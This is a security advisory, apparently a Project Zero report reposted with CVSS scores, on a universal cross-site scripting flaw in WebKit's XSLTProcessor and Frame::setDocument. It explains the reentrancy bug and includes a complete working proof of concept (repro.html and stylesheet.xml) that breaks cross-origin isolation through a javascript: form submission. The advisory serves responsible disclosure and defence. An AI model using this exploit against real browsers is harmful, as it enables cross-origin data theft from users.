6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
0.016 Low
EPSS
Percentile
87.3%
VULNERABILITY DETAILS
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66
```
Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString,
const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame)
{
Ref<Document> ownerDocument(sourceNode->document());
bool sourceIsDocument = (sourceNode == &ownerDocument.get());
String documentSource = sourceString;
RefPtr<Document> result;
if (sourceMIMEType == "text/plain") {
result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL());
transformTextStringToXHTMLDocumentString(documentSource);
} else
result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL());
// Before parsing, we need to save & detach the old document and get the new document
// in place. We have to do this only if we're rendering the result document.
if (frame) {
[...]
frame->setDocument(result.copyRef());
}
auto decoder = TextResourceDecoder::create(sourceMIMEType);
decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader);
result->setDecoder(WTFMove(decoder));
result->setContent(documentSource);
```
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248
```
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);
if (m_documentIsBeingReplaced) // ***1***
return;
m_documentIsBeingReplaced = true;
[...]
if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction(); // ***2***
m_doc = newDocument.copyRef();
```
`setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via
a nested frame's "unload" event handler. Therefore the `m_documentIsBeingReplaced` flag has been
introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called,
`newDocument` might already have a reference to a `Frame` object, and if the method returns early,
that reference will never get cleared by subsequent navigations. It's not possible to trigger
document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI
load; however, an attacker can use an XSLT transformation for that.
When the attacker has an extra document attached to a frame, they can navigate the frame to a
cross-origin page and issue a form submission request to a 'javascript:' URI using the extra
document to trigger UXSS.
VERSION
WebKit revision 245321.
It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1).
REPRODUCION CASE
repro.html:
```
<body>
<script>
createFrame = doc => doc.body.appendChild(document.createElement('iframe'));
pi = document.createProcessingInstruction('xml-stylesheet',
'type="text/xml" href="stylesheet.xml"');
cache_frame = createFrame(document);
cache_frame.contentDocument.appendChild(pi);
setTimeout(() => {
victim_frame = createFrame(document);
child_frame_1 = createFrame(victim_frame.contentDocument);
child_frame_1.contentWindow.onunload = () => {
victim_frame.src = 'javascript:""';
try {
victim_frame.contentDocument.appendChild(document.createElement('html')).
appendChild(document.createElement('body'));
} catch { }
child_frame_2 = createFrame(victim_frame.contentDocument);
child_frame_2.contentWindow.onunload = () => {
doc = victim_frame.contentDocument;
doc.write('foo');
doc.firstChild.remove();
doc.appendChild(pi);
doc.appendChild(doc.createElement('root'));
doc.close();
}
}
victim_frame.src = 'javascript:""';
if (child_frame_1.xslt_script_run) {
victim_frame.src = 'http://example.com/';
victim_frame.onload = () => {
form = corrupted_doc.createElement('form');
form.action = 'javascript:alert(document.body.innerHTML)';
form.submit();
}
}
}, 2000);
</script>
</body>
```
stylesheet.xml:
```
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<script>
<![CDATA[
document.body.lastChild.xslt_script_run = true;
]]>
</script>
<iframe src="javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();"></iframe>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
```
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
0.016 Low
EPSS
Percentile
87.3%